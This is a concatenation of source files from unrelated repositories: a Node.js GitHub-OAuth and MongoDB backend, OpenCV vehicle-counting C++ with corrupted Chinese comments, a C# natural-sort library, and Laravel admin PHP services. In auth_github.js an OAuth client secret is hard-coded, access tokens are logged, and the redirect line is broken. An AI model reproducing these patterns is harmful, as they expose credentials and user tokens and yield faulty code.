if (error) {
callback(error);
} else if (response) {
callback(null, body);
}
}
);
};
```
README.md
```# API Documentation
```
follow_user
-----------
url: https://testhackerman12.lib.id/github-lite@dev/follow_user/
code: lib.testhackerman12.github-lite['@dev'].follow_user()
shell: lib testhackerman12.github-lite[@dev].follow_user
context: (enabled)
bg: info
Get an user
@param {string} token OAuth token
@param {string} target Username of the user you wish to follow
@returns {any}
get_authenticated_user
----------------------
url: https://testhackerman12.lib.id/github-lite@dev/get_authenticated_user/
code: lib.testhackerman12.github-lite['@dev'].get_authenticated_user()
shell: lib testhackerman12.github-lite[@dev].get_authenticated_user
context: (enabled)
bg: info
Get the current authenticated user
@param {string} token OAuth token
@returns {object}
get_user
--------
url: https://testhackerman12.lib.id/github-lite@dev/get_user/
code: lib.testhackerman12.github-lite['@dev'].get_user()
shell: lib testhackerman12.github-lite[@dev].get_user
context: (enabled)
bg: info
Get an user
@param {string} token OAuth token
@param {string} target Username of the user you wish to query
@returns {any}
get_user_repos
--------------
url: https://testhackerman12.lib.id/github-lite@dev/get_user_repos/
code: lib.testhackerman12.github-lite['@dev'].get_user_repos()
shell: lib testhackerman12.github-lite[@dev].get_user_repos
context: (enabled)
bg: info
Get an user
@param {string} token OAuth token
@param {string} target Username of the user you wish to query
@returns {any}
unfollow_user
-------------
url: https://testhackerman12.lib.id/github-lite@dev/unfollow_user/
code: lib.testhackerman12.github-lite['@dev'].unfollow_user()
shell: lib testhackerman12.github-lite[@dev].unfollow_user
context: (enabled)
bg: info
Get an user
@param {string} token OAuth token
@param {string} target Username of the user you wish to unfollow
@returns {any}
``````
auth_github.js
```const lib = require('lib');
const request = require('request');
/**
* authenticate
* @param {string} code
* @returns {any}
*/
module.exports = (code, context, callback) => {
console.log('code ' + code);
request.post(
{
headers:{"Accept": "application/json"},
url:'https://github.com/login/oauth/access_token?client_id=519813e63570d699ea25&client_secret=d4c62256b7dae895dbcaca4700b8ca244f29193f&code='+code
},
function (error, response, body) {
if (!error && response.statusCode == 200) {
var token= JSON.parse(body).access_token;
console.log('token ' + token);
request(
{
headers:{"Authorization": "token "+token,
"User-Agent":'event-connect'},
url:'https://api.github.com/user'
},
function (error, response, body) {
//console.log(response);
if (!error && response.statusCode == 200) {
console.log(JSON.parse(body));
}
else if(error){
console.log(JSON.parse(error));
}
});
window.location.replace("http://localhost:4200/signup?type=github&token='+token");
}
callback(error, response);
}
);
};
```
README.md
```# API Documentation
```
delete
------
url: https://testhackerman12.lib.id/mongodb-lite@dev/delete/
code: lib.testhackerman12.mongodb-lite['@dev'].delete()
shell: lib testhackerman12.mongodb-lite[@dev].delete
context: (enabled)
bg: info
@param {string} uri [description]
@param {string} collectionName [description]
@param {array} ids
@returns {any}
insert
------
url: https://testhackerman12.lib.id/mongodb-lite@dev/insert/
code: lib.testhackerman12.mongodb-lite['@dev'].insert()
shell: lib testhackerman12.mongodb-lite[@dev].insert
context: (enabled)
bg: info
@param {string} uri Database uri
@param {string} collectionName Name of the collection
@param {object} data Data you wish to insert
@returns {any}
select
------
url: https://testhackerman12.lib.id/mongodb-lite@dev/select/
code: lib.testhackerman12.mongodb-lite['@dev'].select()
shell: lib testhackerman12.mongodb-lite[@dev].select
context: (enabled)
bg: info
@param {string} uri uri of the database
@param {string} collectionName
@param {object} query
@returns {any} Returning array throws JSON non serializable
update
------
url: https://testhackerman12.lib.id/mongodb-lite@dev/update/
code: lib.testhackerman12.mongodb-lite['@dev'].update()
shell: lib testhackerman12.mongodb-lite[@dev].update
context: (enabled)
bg: info
@param {string} uri database uri
@param {string} collectionName [description]
@param {array} ids
@param {object} data {"key_name":"updated_value"}
@returns {any}
``````
get_authenticated_user.js
```const request = require("request");
/**
* Get the current authenticated user
* @param {string} token OAuth token
* @returns {object}
*/
module.exports = (token, context, callback) => {
var auth = 'token ' + token;
request(
{
url: 'https://api.github.com/user',
json: true,
headers: {
"Authorization": auth,
"User-Agent": "github-lite"
}
},
function (error, response, body) {
if (error) {
callback(error);
} else if (response) {
callback(null, body);
}
}
);
};
```
get_near_users.js
```const lib = require('lib');
/**
* Get all near users
* @param {string} long
* @param {string} lat
* @returns {any}
*/
module.exports = (long='', lat='', context, callback) => {
//TODO: Geolocation query using $near
lib.testhackerman12['mongodb-lite']['@dev'].select(
{
uri: process.env.MONGO_URI,
collectionName: "users",
query: {}
},
function(err, res) {
callback(err, JSON.parse(res));
}
);
};
```
select.js
```const mongodb = require('mongodb');
const MongoClient = mongodb.MongoClient;
let cache = null;
/**
* @param {string} uri uri of the database
* @param {string} collectionName
* @param {object} query
* @returns {any} Returning array throws JSON non serializable
*/
module.exports = (uri, collectionName, query, context, callback) => {
try {
if (cache === null) {
MongoClient.connect(uri, (error, db) => {
if (error) {
console.log(error['errors']);
return callback(error);
}
cache = db;
selectData(db, collectionName, query, callback);
});
} else {
selectData(cache, collectionName, query, callback);
}
} catch (error) {
console.log(error);
return callback(error);
}
};
const selectData = (db, collectionName, query, callback) => {
let cursor = db.collection(collectionName).find(query);
let items = [];
cursor.each((error, item) => {
if (error) {
console.log(error);
}
if (item == null) {
return callback(null, JSON.stringify(items));
}
items.push(item);
});
};
```
login.js
```const lib = require('lib');
var username;
var avatar_url;
var github_followers;
var github_following;
var name;
var position;
var long;
var lat;
var uri;
var linkedinProfileName;
/**
* Get an user
* @param {string} token OAuth token
* @param {string} type
* @param {string} position
* @param {string} long Longitude
* @param {string} lat Latitude
* @param {string} linkedinProfileName
* @returns {any}
*/
module.exports = (token, type, position='', long='', lat='', linkedinProfileName='', context, callback) => {
if (type === 'github') {
lib.testhackerman12['github-lite']['@dev'].get_authenticated_user(
{token: token},
function (err, result) {
if (err) return callback(err);
username = result.login;
avatar_url = result.avatar_url;
github_followers = result.followers;
github_following = result.following;
name = result.name;
position = position;
long = parseFloat(long);
lat = parseFloat(lat);
linkedinProfileName = linkedinProfileName;
uri = process.env.MONGO_URI;
console.log(result);
lib.testhackerman12['mongodb-lite']['@dev'].select(
{
uri: uri,
collectionName: "users",
query: {username: username}
},
function(err, result) {
console.log(result);
result = JSON.parse(result);
console.log('1 ' + result + ' ' + result.length);
if (err) return callback(err);
let data = {
username: username,
avatar_url: avatar_url,
github_followers: github_followers,
github_following: github_following,
name: name,
position: position,
loc: {lng: long, lat: lat},
linkedinProfileName: linkedinProfileName
};
console.log(data);
let users = result;
if (users.length != 0) {
lib.testhackerman12['mongodb-lite']['@dev'].update(
{
uri: uri,
collectionName: "users",
ids: new Array(users[0]['_id']),
data: data
},
function(err, result) {
callback(err, result);
}
);
} else {
lib.testhackerman12['mongodb-lite']['@dev'].insert(
{
uri: uri,
collectionName: "users",
data: data
},
function(err, result) {
callback(err, result);
}
);
}
}
);
}
);
}
};
```
delete.js
```const mongodb = require('mongodb');
const MongoClient = mongodb.MongoClient;
let cache = null;
/**
* @param {string} uri [description]
* @param {string} collectionName [description]
* @param {array} ids
* @returns {any}
*/
module.exports = (uri, collectionName, ids, context, callback) => {
ids = ids.map(id => new mongodb.ObjectID(id));
try {
if (cache === null) {
MongoClient.connect(uri, (error, db) => {
if (error) {
console.log(error['errors']);
return callback(error);
}
cache = db;
deleteData(db, collectionName, ids, callback);
});
} else {
deleteData(cache, collectionName, ids, callback);
}
} catch (error) {
console.log(error);
return callback(error);
}
};
const deleteData = (db, collectionName, ids, callback) => {
db.collection(collectionName).deleteMany({ _id: { $in: ids } }, (error, results) => {
if (error) {
console.log(error);
return callback(error);
}
return callback(null, results);
});
};
```
insert.js
```const MongoClient = require('mongodb').MongoClient;
let cache = null;
/**
* @param {string} uri Database uri
* @param {string} collectionName Name of the collection
* @param {object} data Data you wish to insert
* @returns {any}
*/
module.exports = (uri, collectionName, data, context, callback) => {
let text = context.params.text || '';
let completed = context.params.completed || false;
try {
if (cache === null) {
MongoClient.connect(uri, (error, db) => {
if (error) {
console.log(error['errors']);
return callback(error);
}
cache = db;
insertData(db, collectionName, data, callback);
});
} else {
insertData(cache, collectionName, data, callback);
}
} catch (error) {
console.log(error);
return callback(error);
}
};
const insertData = (db, collectionName, data, callback) => {
db.collection(collectionName).insertOne(data, (error, result) => {
if (error) {
console.log(error);
return callback(error);
}
return callback(null, result.insertedId);
});
};
```
README.md
```# API Documentation
```
get_near_users
--------------
url: https://testhackerman12.lib.id/event-connect@dev/get_near_users/
code: lib.testhackerman12.event-connect['@dev'].get_near_users()
shell: lib testhackerman12.event-connect[@dev].get_near_users
context: (enabled)
bg: info
Get all near users
@param {string} long
@param {string} lat
@returns {any}
login
-----
url: https://testhackerman12.lib.id/event-connect@dev/login/
code: lib.testhackerman12.event-connect['@dev'].login()
shell: lib testhackerman12.event-connect[@dev].login
context: (enabled)
bg: info
Get an user
@param {string} token OAuth token
@param {string} type
@param {string} position
@param {string} long Longitude
@param {string} lat Latitude
@param {string} linkedinProfileName
@returns {any}
``````
|
yuyooo/Vehicle-Counting-System
|
yuyooo/Vehicle-Counting-System
README.md
```# Vehicle-Counting-System
OpenCV-2.4.8
ๆฑฝ่ฝฆ่ฎกๆฐ็ณป็ป
```
fdfBike.cpp
```#include "opencv2/opencv.hpp"
#include<iostream>
using namespace std;
using namespace cv;
Mat MoveDetect(Mat frame1, Mat frame2)
{
Mat result = frame2.clone();
Mat gray1, gray2;
cvtColor(frame1, gray1, CV_BGR2GRAY);
cvtColor(frame2, gray2, CV_BGR2GRAY);
Mat diff;
absdiff(gray1, gray2, diff);
imshow("absdiss", diff);
threshold(diff, diff, 45, 255, CV_THRESH_BINARY);
imshow("threshold", diff);
Mat element = getStructuringElement(MORPH_RECT, Size(1, 1));
Mat element2 = getStructuringElement(MORPH_RECT, Size(7, 7));
erode(diff, diff, element);
imshow("erode", diff);
dilate(diff, diff, element2);
imshow("dilate", diff);
vector<vector<Point>> contours;
vector<Vec4i> hierarcy;
findContours(diff, contours, hierarcy, CV_RETR_EXTERNAL, CHAIN_APPROX_NONE); //ๆฅๆพ่ฝฎๅป
vector<Rect> boundRect(contours.size()); //ๅฎไนๅคๆฅ็ฉๅฝข้ๅ
//drawContours(img2, contours, -1, Scalar(0, 0, 255), 1, 8); //็ปๅถ่ฝฎๅป
int x0=0, y0=0, w0=0, h0=0;
for(int i=0; i<contours.size(); i++)
{
boundRect[i] = boundingRect((Mat)contours[i]); //ๆฅๆพๆฏไธช่ฝฎๅป็ๅคๆฅ็ฉๅฝข
x0 = boundRect[i].x; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅทฆไธ่ง็xๅๆ
y0 = boundRect[i].y; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅทฆไธ่ง็yๅๆ
w0 = boundRect[i].width; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅฎฝๅบฆ
h0 = boundRect[i].height; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็้ซๅบฆ
rectangle(result, Point(x0, y0), Point(x0+w0, y0+h0), Scalar(0, 255, 0), 2, 8); //็ปๅถ็ฌฌiไธชๅคๆฅ็ฉๅฝข
}
return result;
}
void main()
{
VideoCapture cap("bike.avi");
if(!cap.isOpened()) //ๆฃๆฅๆๅผๆฏๅฆๆๅ
return;
Mat frame;
Mat result;
Mat temp;
int count=0;
while(1)
{
cap>>frame;
if(!frame.empty())
{
count++;
if(count==1)
result = MoveDetect(frame, frame);
else
result = MoveDetect(temp, frame);
imshow("video", frame);
imshow("result", result);
temp = frame.clone();
if(waitKey(50)==27)
break;
}
else
break;
}
cap.release();
}
```
Vehicle_Counting_System.cpp
```#include "opencv2/opencv.hpp"
#include<iostream>
using namespace std;
using namespace cv;
int CarNum = 0;
Mat MoveDetect(Mat frame1, Mat frame2){
Mat result = frame2.clone();
Mat gray1, gray2;
cvtColor(frame1, gray1, CV_BGR2GRAY);
cvtColor(frame2, gray2, CV_BGR2GRAY);
Mat diff;
absdiff(gray1, gray2, diff);
//imshow("absdiss", diff);
//threshold(diff, diff, 45, 255, CV_THRESH_BINARY); //็ฎๅไบๅผๅ
adaptiveThreshold(diff, diff, 255, ADAPTIVE_THRESH_GAUSSIAN_C, THRESH_BINARY_INV, 15, 3);
imshow("threshold", diff);
Mat element = getStructuringElement(MORPH_RECT, Size(3, 3));
Mat element2 = getStructuringElement(MORPH_RECT, Size(31, 31));
//่ฟ่กๅฝขๆๅญฆๆไฝ
morphologyEx(diff, diff, MORPH_OPEN, element);
medianBlur(diff, diff, 9);
dilate(diff, diff, element2);
imshow("dilate", diff);
vector<vector<Point>> contours;
vector<Vec4i> hierarcy;
findContours(diff, contours, hierarcy, CV_RETR_EXTERNAL, CHAIN_APPROX_NONE); //ๆฅๆพ่ฝฎๅป
vector<vector<Point>> contours_poly(contours.size());
vector<Rect> boundRect(contours.size()); //ๅฎไนๅคๆฅ็ฉๅฝข้ๅ
//drawContours(img2, contours, -1, Scalar(0, 0, 255), 1, 8); //็ปๅถ่ฝฎๅป
int x0=0, y0=0, w0=0, h0=0;
char Num[10];
for(int i=0; i<contours.size(); i++){
approxPolyDP(Mat(contours[i]), contours_poly[i], 3, true); //ๅค่พนๅฝข้ผ่ฟ
boundRect[i] = boundingRect((Mat)contours_poly[i]); //ๆฅๆพๆฏไธช่ฝฎๅป็ๅคๆฅ็ฉๅฝข
if(boundRect[i].width > 55 && boundRect[i].width <180 && boundRect[i].height > 55 && boundRect[i].height < 180){
x0 = boundRect[i].x; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅทฆไธ่ง็xๅๆ
y0 = boundRect[i].y; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅทฆไธ่ง็yๅๆ
w0 = boundRect[i].width; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็ๅฎฝๅบฆ
h0 = boundRect[i].height; //่ทๅพ็ฌฌiไธชๅคๆฅ็ฉๅฝข็้ซๅบฆ
rectangle(result, Point(x0, y0), Point(x0+w0, y0+h0), Scalar(0, 255, 0), 2, 8); //็ปๅถ็ฌฌiไธชๅคๆฅ็ฉๅฝข
}
if((y0 + h0/2 + 1) >= 138 && (y0 + h0/2 - 1) <= 142){
CarNum++;
}
line(result, Point(0,140), Point(568,140), Scalar(0,0,255), 1, 8);
Point org(0,35);
sprintf(Num, "CarNum=%d", CarNum);
putText(result, Num, org, CV_FONT_HERSHEY_SIMPLEX, 0.8f, CV_RGB(0,255,0), 2);
}
return result;
}
void main(){
VideoCapture cap("car.avi");
if(!cap.isOpened()) //ๆฃๆฅๆๅผๆฏๅฆๆๅ
return;
Mat frame;
Mat result;
Mat temp;
int count=0;
while(1){
cap>>frame;
if(!frame.empty()){
count++;
if(count==1)
result = MoveDetect(frame, frame);
else
result = MoveDetect(temp, frame);
imshow("video", frame);
imshow("result", result);
temp = frame.clone();
if(waitKey(5)==27)
break;
}
else
break;
}
cap.release();
waitKey(0);
}```
|
yuzd/NaturalSort.Extension
|
yuzd/NaturalSort.Extension
README.md
``` NaturalSort.Extension
=====================
*Extension method for `StringComparer` that adds support for natural sorting (e.g. "abc1", "abc2", "abc10" instead of "abc1", "abc10", "abc2").*
[](https://ci.appveyor.com/project/tompazourek/naturalsort-extension)
[](https://ci.appveyor.com/project/tompazourek/naturalsort-extension/build/tests)
[](https://www.nuget.org/packages/NaturalSort.Extension/)
The library is written in C# and released with an [MIT license](https://raw.githubusercontent.com/tompazourek/NaturalSort.Extension/master/LICENSE), so feel **free to fork** or **use commercially**.
**Any feedback is appreciated, please visit the [issues](https://github.com/tompazourek/NaturalSort.Extension/issues?state=open) page or send me an [e-mail](mailto:tom.pazourek@gmail.com).**
Download
--------
Binaries of the last build can be downloaded on the [AppVeyor CI page of the project](https://ci.appveyor.com/project/tompazourek/naturalsort-extension/build/artifacts).
The library is also [published on NuGet.org](https://www.nuget.org/packages/NaturalSort.Extension/) (prerelease), install using:
```
PM> Install-Package NaturalSort.Extension
```
<sup>NaturalSort.Extension is built for .NET v4.0, .NET v4.7, .NET Standard 1.3 and .NET Standard 2.0.</sup>
Usage
-----
Adds `.WithNaturalSort()` extension method to any `StringComparer` you wish to use.
You can use the enhanced comparer in all the places where you can use `IComparer<string>`, e.g. `.OrderBy()` or `.Sort()`.
Sample:
```csharp
var sequence = new[] { "img12.png", "img10.png", "img2.png", "img1.png" };
var ordered = sequence.OrderBy(x => x, StringComparer.OrdinalIgnoreCase.WithNaturalSort());
// ordered will be "img1.png", "img2.png", "img10.png", "img12.png"
```
For more information about natural sort order, see: [Sorting for Humans: Natural Sort Order (Coding Horror)](https://blog.codinghorror.com/sorting-for-humans-natural-sort-order/).```
StringComparerNaturalSortExtension.cs
```๏ปฟusing System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
namespace NaturalSort.Extension
{
/// <summary>
/// Extension for <see cref="StringComparer" /> that adds support for natural sorting.
/// </summary>
public static class StringComparerNaturalSortExtension
{
/// <summary>
/// Enhances string comparer with natural sorting functionality,
/// which allows it to sort numbers inside the strings as numbers, not as letters.
/// (e.g. "1", "2", "10" instead of "1", "10", "2")
/// </summary>
/// <param name="stringComparer">Used string comparer</param>
/// <returns>Returns comparer of strings that considers natural sorting.</returns>
public static IComparer<string> WithNaturalSort(this StringComparer stringComparer) => new NaturalSortComparer(stringComparer);
private class NaturalSortComparer : IComparer<string>
{
/// <summary>
/// String comparer used for comparing strings.
/// </summary>
private readonly StringComparer _stringComparer;
public NaturalSortComparer(StringComparer stringComparer) => _stringComparer = stringComparer;
public int Compare(string s1, string s2)
{
var tokens1 = Tokenize(s1).ToArray();
var tokens2 = Tokenize(s2).ToArray();
var zipCompare = tokens1.Zip(tokens2, TokenCompare).FirstOrDefault(x => x != 0);
if (zipCompare != 0)
return zipCompare;
var lengthCompare = tokens1.Length.CompareTo(tokens2.Length);
return lengthCompare;
}
/// <summary>
/// Splits inputs into tokens. Each token is either a number, piece of string, or a dot.
/// </summary>
private static IEnumerable<Token> Tokenize(string s)
{
if (s == null)
yield break;
var currentTokenBuilder = new StringBuilder(s.Length);
TokenKind? currentTokenKind = null;
foreach (var c in s)
{
var characterTokenKind = GetCharacterTokenKind(c);
if (currentTokenKind == characterTokenKind)
{
currentTokenBuilder.Append(c);
continue;
}
if (currentTokenBuilder.Length > 0 && currentTokenKind != null)
yield return new Token(currentTokenBuilder.ToString(), currentTokenKind.Value);
currentTokenBuilder.Clear().Append(c);
currentTokenKind = characterTokenKind;
}
if (currentTokenBuilder.Length > 0 && currentTokenKind != null)
yield return new Token(currentTokenBuilder.ToString(), currentTokenKind.Value);
}
private static TokenKind GetCharacterTokenKind(char c)
{
if (char.IsLetter(c))
return TokenKind.Letters;
if (char.IsDigit(c))
return TokenKind.Digits;
return TokenKind.Other;
}
/// <summary>
/// Parses string as a number, or returns 0 otherwise.
/// </summary>
private static ulong ParseNumber(string s) => ulong.TryParse(s, NumberStyles.None, CultureInfo.InvariantCulture, out var result) ? result : 0;
/// <summary>
/// Compares two tokens.
/// </summary>
private int TokenCompare(Token token1, Token token2)
{
// compare if the token kinds are different
var tokenKindCompare = token1.Kind.CompareTo(token2.Kind);
if (tokenKindCompare != 0)
return tokenKindCompare;
if (token1.Kind == TokenKind.Digits)
{
// compare if both tokens are digits
var number1 = ParseNumber(token1.Value);
var number2 = ParseNumber(token2.Value);
var numberCompare = number1.CompareTo(number2);
if (numberCompare != 0)
return numberCompare;
}
// compare as strings if both tokens are letters or other, or are the same number
var stringCompare = _stringComparer.Compare(token1.Value, token2.Value);
return stringCompare;
}
private enum TokenKind
{
Other = 0,
Digits = 1,
Letters = 2,
}
private struct Token
{
public Token(string value, TokenKind kind)
{
Value = value;
Kind = kind;
}
public string Value { get; }
public TokenKind Kind { get; }
}
}
}
}```
|
yuzheng1/findcms
|
yuzheng1/findcms
MultithreadingRequest.php
```<?php
namespace App\Console\Commands;
use GuzzleHttp\Client;
use Illuminate\Console\Command;
use App\Models\Area;
class MultithreadingRequest extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'test:multithreading-request';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Command description';
/**
* Create a new command instance.
*
* @return void
*/
public function __construct()
{
parent::__construct();
}
/**
* Execute the console command.
*
* @return mixed
*/
public function handle()
{
// $this->info("hello");
// $arguments = $this->arguments(); //่ทๅๆๆๅๆฐ็ๅผ
// $options = $this->options(); //่ทๅๆๆ้้กน็ๅผ
// $userId = $this->argument('user'); //่ทๅๆๅฎๅๆฐ็ๅผ
// $queueName = $this->option('queue'); //่ทๅๆๅฎ้้กน็ๅผ
// $name = $this->ask("What your name"); //่พๅ
ฅ+ๆ็คบ
// $password = $this->secret("What your password"); //ไธๅฏ่ง็่พๅ
ฅ+ๆ็คบ
// if($this->confirm("please confirm password[y|N]")){ //็กฎ่ฎคไฟกๆฏ
// $this->info("Login successfull");
// } else {
// $this->info("Login faile");
// }
// ่ชๅจๅฎๆ
// anticipate ๆนๆณๅฏ็จไบไธบๅฏ่ฝ็้้กนๆไพ่ชๅจๅฎๆๅ่ฝ๏ผ็จๆทไป็ถๅฏไปฅ้ๆฉ็ญๆก๏ผ่ไธ็ฎก่ฟไบ้ๆฉ๏ผ
// $name = $this->anticipate('What is your name?', ['Taylor', 'Dayle']);
// ็ป็จๆทๆไพ้ๆฉ
// ๅฆๆไฝ ้่ฆ็ป็จๆท้ขๅฎไน็้ๆฉ๏ผๅฏไปฅไฝฟ็จ choice ๆนๆณใ็จๆท้ๆฉ็ญๆก็็ดขๅผ๏ผไฝๆฏ่ฟๅ็ปไฝ ็ๆฏ็ญๆก็ๅผใๅฆๆ็จๆทไปไน้ฝๆฒก้็่ฏไฝ ๅฏไปฅ่ฎพ็ฝฎ้ป่ฎค่ฟๅ็ๅผ๏ผ
// $name = $this->choice('What is your name?', ['Taylor', 'Dayle'], 0);
/**็ผๅ่พๅบ**/
// $this->info($name);
// $this->line($name);
// $this->comment($name);
// $this->question($name);
// $this->error($name);
/**็ผๅ่พๅบ**/
// ่กจๆ ผๅธๅฑ
// table ๆนๆณไฝฟ่พๅบๅค่ก/ๅๆ ผๅผ็ๆฐๆฎๅๅพ็ฎๅ๏ผๅช้่ฆๅฐๅคดๅ่กไผ ้็ป่ฏฅๆนๆณ๏ผๅฎฝๅบฆๅ้ซๅบฆๅฐๅบไบ็ปๅฎๆฐๆฎ่ชๅจ่ฎก็ฎ๏ผ
// $headers = ["ID", "NAME"];
// $model = new Area;
// $area = $model->newQuery()->limit(3)->get(['id', 'name'])->toArray();
// $this->table($headers, $area);
// ่ฟๅบฆๆก
// $area = Area::all();
// $bar = $this->output->createProgressBar(count($area));
// $bar->start();
// foreach($area as $val){
// usleep(200);
// $bar->advance();
// }
// $bar->finish();
// $this->info('task finished!');
}
}
```
MessageService.php
```<?php
namespace App\Http\Service;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Show;
use Illuminate\Validation\Rule;
/**
* ๆถๆฏ็ฎก็ๆๅกๅฑ
* @author zx
* @date 2018-12-29
* @package App\Http\Service
*/
class MessageService extends CommonService {
/**
* ๆถๆฏ็ถๆ
* @var array
*/
const STATUS_ARR = ["ๅทฒๅ้","ๅทฒๆฅ็"];
/**
* ่กจๅ้กต้ขๆงๅถ
* @param Form $form
* @author zx
* @date 2018-12-29
* @return Form
*/
public function form(Form $form)
{
$form->display("users.id","่ขซๅ้ไบบID");
$form->display("users.nickname", "่ขซๅ้ไบบๆต็งฐ");
$form->text('title', 'ๆ ้ข')->rules(
$this->title_rules(),
$this->title_rules_message()
);
$form->textarea('content', 'ๅ
ๅฎน')->rules(
$this->content_rules(),
$this->content_rules_message()
);
$form->switch('status', 'Status')->states($this->status_arr())->default("off")->rules(
$this->status_rules(),
$this->status_rules_message()
);
$form->switch('is_delete', 'Is delete')->states(parent::IS_DELETE_RULES_ARR)->rules(
parent::is_delete_rules(),
parent::IS_DELETE_MESSAGE
);
return $form;
}
/**
* ๅ่กจ้กต้ขๆงๅถ
* @param Grid $grid
* @author zx
* @date 2018-12-29
* @return Grid
*/
public function grid(Grid $grid)
{
$grid->id('ID');
$grid->column('users.nickname', "่ขซๅ้ไบบๆต็งฐ");
$grid->column('users.id', "่ขซๅ้ไบบID");
$grid->column('title', "ๆ ้ข");
$grid->status('Status')->display(function($status){
return self::STATUS_ARR[$status];
});
$grid->is_delete('Is delete')->display(function($is_delete){
return MessageService::IS_DELETE_ARR[$is_delete];
});
$grid->created_at('Created at');
return $grid;
}
/**
* ่ฏฆๆ
้กต้ขๆงๅถ
* @param Show $show
* @author zx
* @date 2018-12-29
* @return Show
*/
public function detail(Show $show)
{
$show->id('Id');
$show->users('่ขซๅ้ไบบไฟกๆฏ',function($users){
$users->id("ID");
$users->nickname("ๆต็งฐ");
return $users;
});
$show->title('ๆ ้ข');
$show->content('ๅ
ๅฎน');
$show->created_at('Created at');
return $show;
}
private function title_rules()
{
return "required";
}
private function title_rules_message()
{
return [
"required" => "่ฏท่พๅ
ฅๆ ้ข"
];
}
private function content_rules()
{
return "required";
}
private function content_rules_message()
{
return [
"required" => "่ฏท่พๅ
ฅๆ ้ข"
];
}
private function status_arr()
{
return [
'on' => ['value' => 1, 'text' => 'ๅทฒๆฅ็', 'color'=>'danger'],
'off' => ['value' => 0, 'text' => 'ๅทฒๅ้', 'color' => 'success']
];
}
private function status_rules()
{
return [
"required",
Rule::in(['on','off'])
];
}
private function status_rules_message()
{
return [
"required" => "่ฏท้ๆฉๅ้็ถๆ",
"in" => "ๅ้็ถๆ่ๅด้่ฏฏ"
];
}
}```
QualificationTrait.php
```<?php
namespace App\Models\Traits;
use App\Models\Users;
/**
* ่ฎค่ฏTrait็ฑป
* @author zx
* @date 2018-12-23
* @package App\Models\Trait
*/
Trait QualificationTrait{
public function users()
{
return $this->belongsTo(Users::class, "user_id");
}
}```
CommonService.php
```<?php
namespace App\Http\Service;
use Illuminate\Validation\Rule;
/**
* ๅ
ฌๅ
ฑ้ป่พๆๅกๅฑ
* @author zx
* @date 2018-12-29
* @package App\Http\Service
*/
class CommonService{
/**
* ๅ ้คๅผๅ
ณ้
็ฝฎ
* @var zx
*/
const IS_DELETE_RULES_ARR = [
'on' => ['value' => 1, 'text' => 'ๅทฒๅ ้ค', 'color'=>'danger'],
'off' => ['value' => 0, 'text' => 'ๆชๅ ้ค', 'color' => 'success']
];
/**
* ๅ ้คๅบๅ
* @var array
*/
const IS_DELETE_ARR = ["ๆชๅ ้ค", "ๅทฒๅ ้ค"];
/**
* ่กจๅ้ช่ฏๆ็คบไฟกๆฏ
* @var array
*/
const IS_DELETE_MESSAGE = [
"required" => "่ฏท้ๆฉๅ ้ค็ถๆ",
"in" => "ๅ ้ค็ถๆ่ๅด้่ฏฏ"
];
/**
* ่กจๅ้ช่ฏ
* @author zx
* @date 2018-12-29
* @return array
*/
public static function is_delete_rules():array
{
return [
"required",
Rule::in(['on','off'])
];
}
}```
UploadsController.php
```<?php
namespace App\Admin\Controllers\Api;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
class UploadsController extends Controller{
public function index(Request $request)
{
file_put_contents(__DIR__."/../../../log.txt", json_encode($request));
}
}```
UserService.php
```<?php
namespace App\Http\Service;
use Encore\Admin\Form;
use Encore\Admin\Grid;
use Encore\Admin\Show;
use Illuminate\Validation\Rule;
/**
* ็จๆท็ฎก็ๆๅกๅฑ
* @author zx
* @date 2018-12-29
* @package App\Http\Service
*/
class UserService extends CommonService {
/**
* ๆงๅซๅบๅ
* @var array
*/
const SEX_ARR = ['็ท', 'ๅฅณ'];
/**
* ็จๆท็ฑปๅ
* @var array
*/
const MEMBER_TYPE_ARR = ['ๅฏปๆพ่
', 'ๆฑๅฉ่
'];
/**
* ่กจๅ้กต้ขๆงๅถ
* @param Form $form
* @author zx
* @date 2018-12-29
* @return Form
*/
public function form(Form $form)
{
$id = request()->route()->parameters()['user']; //่ทๅๅฝๅ่ทฏ็ฑๅๆฐ
$form->display('id','ID');
$form->text('nickname','ๆต็งฐ')->rules(
$this->nickname_rules(),
$this->nickname_rules_message()
);
$form->number('mobile','ๆๆบๅท')->rules(
$this->mobile_rules($id),
$this->mobile_rules_message()
);
$form->password("password", "ๅฏ็ ")->rules(
$this->password_rules($id),
$this->password_rules_message($id)
);
$form->text('realname','ๅงๅ')->rules(
$this->realname_rules(),
$this->realname_rules_message()
);
$form->text('id_card', '่บซไปฝ่ฏๅท็ ')->rules(
$this->id_card_rules(),
$this->id_card_rules_message()
);
$form->select('sex','ๆงๅซ')->options(self::SEX_ARR)->rules(
$this->sex_rules(),
$this->sex_rules_message()
);
$form->text('email','้ฎ็ฎฑ')->rules(
$this->email_rules($id),
$this->email_rules_message()
);
$form->select('member_type', '็ฑปๅ')->options(self::MEMBER_TYPE_ARR)->rules(
$this->member_type_rules(),
$this->member_type_rules_message()
);
$form->switch("is_delete", "็ถๆ")->states(parent::IS_DELETE_RULES_ARR)->rules([
parent::is_delete_rules(),
parent::IS_DELETE_MESSAGE
]);
$form->saving(function(Form $form){
if($form->password && $form->model()->password != bcrypt($form->password)){
$form->password = bcrypt($form->password);
} else if (!$form->password){
$form->password = $form->model()->password;
}
});
return $form;
}
/**
* ๅ่กจ้กต้ขๆงๅถ
* @param Grid $grid
* @author zx
* @date 2018-12-29
* @return Grid
*/
public function grid(Grid $grid)
{
$grid->id('ID');
$grid->nickname('ๆต็งฐ');
$grid->mobile('ๆๆบๅท');
$grid->realname('ๅงๅ');
$grid->id_card('่บซไปฝ่ฏๅท็ ');
$grid->sex('ๆงๅซ')->display(function ($sex){
return self::SEX_ARR[$sex] ;
});
$grid->email("้ฎ็ฎฑ");
$grid->member_type("็ฑปๅ")->display( function ($member_type) {
return self::MEMBER_TYPE_ARR[$member_type] ;
});
